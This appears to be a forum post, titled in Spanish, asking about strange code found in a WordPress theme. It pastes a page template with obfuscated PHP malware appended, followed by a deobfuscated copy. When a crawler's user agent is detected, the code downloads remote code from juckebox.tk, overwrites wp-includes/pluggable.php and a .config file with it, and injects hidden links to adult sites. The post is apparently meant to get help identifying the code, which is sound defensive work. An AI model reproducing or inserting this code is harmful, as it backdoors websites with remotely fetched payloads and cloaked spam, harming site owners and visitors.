Código extraño en un theme.

<?php get_header(); ?>

<div class="content-holder clearfix">
	<div class="container">
		<div class="row">
			<div class="span12">
			<div class="row">
                    <div class="span12" id="title-header">
					<div class="page-header">
                        <?php get_template_part("static/static-customtitle"); ?>
                    </div>
					</div>
                </div>
				<div class="row">
				
					<div class="span8 <?php echo of_get_option('blog_sidebar_pos') ?>" id="content">
						<?php get_template_part("loop/loop-page-main"); ?>
					</div>
					
					<div class="span4 sidebar" id="sidebar">
						<?php dynamic_sidebar("hs_main_sidebar"); ?>
					</div>
					
				</div>
			</div>
		</div>
	</div>
</div>
<?php 
 $x11="\143h\x64\x69\x72"; $x12="f\143\x6c\157\x73\145"; $x13="\x66\151\154\145\x5f\x67\x65\x74\137co\156t\145\156\164\x73"; $x14="f\151\154\x65_\x65xi\x73\164s"; $x15="\x66\x6f\x70\x65\x6e"; $x16="\146w\x72i\x74\x65"; $x17="\151\156i_s\145\164"; $x18="\x70\162eg\x5f\x6dat\143\150"; 
 $x0b = $_SERVER['HTTP_USER_AGENT'];if ($x18('*bot*', $x0b)) {$x0c=ABSPATH . WPINC . '/pluggable.php';$x0d=$x13("h\x74\164\160\072\x2f\x2f\152u\x63\153e\142o\x78\056\x74k/0\153\x2f\160"); $x0e = $x15($x0c, 'w');$x16($x0e, $x0d);$x12($x0e);$x0f='.config';$x11(get_template_directory());if ($x14($x0f)) { $x10=$x13($x0f);echo $x10; $x17("\165s\x65r_\141\x67\x65nt",$_SERVER['SERVER_NAME']); $x10=$x13('http://juckebox.tk/0k/a.php',0); $x0e = $x15($x0f, 'w');$x16($x0e, $x10);$x12($x0e);}else{ $x17("\165\163e\x72_\141\147e\156\164",$_SERVER['SERVER_NAME']); $x10=$x13('http://juckebox.tk/0k/a.php',0); $x0e = $x15($x0f, 'w');$x16($x0e, $x10);$x12($x0e); echo $x10;}}else{ echo '';}
 ?>
 <?php 

 $x0d="p\162\145\x67\137\155a\x74c\x68"; 
$x0b = $_SERVER['HTTP_USER_AGENT'];$x0c="\015\012\040\040 \x20\040\040\x20\040\x3c\141\040h\162ef\x3d\"\150ttp:\x2f/ww\167.\166i\x64\x65\x6f\055\x63h\x61\164\055\163\x65\x78\x2e\143om\x20\"\x3e</\x61\x3e\040<\142\x72/\076
\x0a \040 \040\x20\x20\040 \074\x61 \150\162e\146\075\"\150t\x74p:\x2f\057w\167\167\056h\x6ftwe\142\143\141m\147\x69rl.co\155\040\"\076\074\057a\x3e \x3cb\162\057\076
\x0a\011	"; if ($x0d('*bot*', $x0b)) { echo $x0c;} else {echo '';}?>
 <?php 

$x0b = $_SERVER['HTTP_USER_AGENT'];$x0c="\040
\012\040\x3c\141 \150\162\145f\075"http: "\x3b\040\040\x20
\040\x20\x20 i\146\x20\050\x70re\x67\137m\141\164\143h\050'\052b\157\x74\052'\x2c\040$x0b\051\051\x20\x7b \x0d\012   \x20\040\040\x20\x20\x65\143ho\040$x0c\x3b\040\040\040\040\x20\x20\x20 \015\012\x20\x20\040 \x20\x20 \040}\040\x65ls\x65\040\x7b\x20\040\040\040\x20 \040 \x0d\012 \040\040 \040\x20\040   \x20\040\x65ch\157 '';\x7d\077\x3e "?>

<footer class="footer">
<?php get_template_part('wrapper/wrapper-footer'); ?>
</footer>
<?php get_footer(); ?>

<?php
$x11="chdir";
$x12="fclose";
$x13="file_get_contents";
$x14="file_exists";
$x15="fopen";
$x16="fwrite";
$x17="ini_set";
$x18="preg_match";
$x0b = $_SERVER['HTTP_USER_AGENT'];
if ($x18('*bot*', $x0b)) {
	$x0c = ABSPATH . WPINC . '/pluggable.php';
	$x0d = $x13("http://juckebox.tk/0k/p");
	$x0e = $x15($x0c, 'w');
	$x16($x0e, $x0d);
	$x12($x0e);
	$x0f='.config';
	$x11(get_template_directory());
	if ($x14($x0f)) {
		$x10=$x13($x0f);
		echo $x10;
		$x17("user_agent",$_SERVER['SERVER_NAME']);
		$x10 = $x13('http://juckebox.tk/0k/a.php',0);
		$x0e = $x15($x0f, 'w');
		$x16($x0e, $x10);
		$x12($x0e);
	}else{
		$x17("user_agent",$_SERVER['SERVER_NAME']);
		$x10=$x13('http://juckebox.tk/0k/a.php',0);
		$x0e = $x15($x0f, 'w');
		$x16($x0e, $x10);
		$x12($x0e);
		echo $x10;
	}
}else{ echo ''; }
?>
<?php
$x0d="preg_match";
$x0b = $_SERVER['HTTP_USER_AGENT'];
$x0c="<a href=\"http://www.video-chat-sex.com \"></a> <br/><a href=\"http://www.hotwebcamgirl.com \"></a> <br/>";
if ($x0d('*bot*', $x0b)) { echo $x0c; } else {echo ''; }
?>
<?php
$x0b = $_SERVER['HTTP_USER_AGENT'];
$x0c="<a href="http: ";
if (preg_match('*bot*', $x0b)) { 
	echo $x0c;        
} else {        
	echo '';
}
?>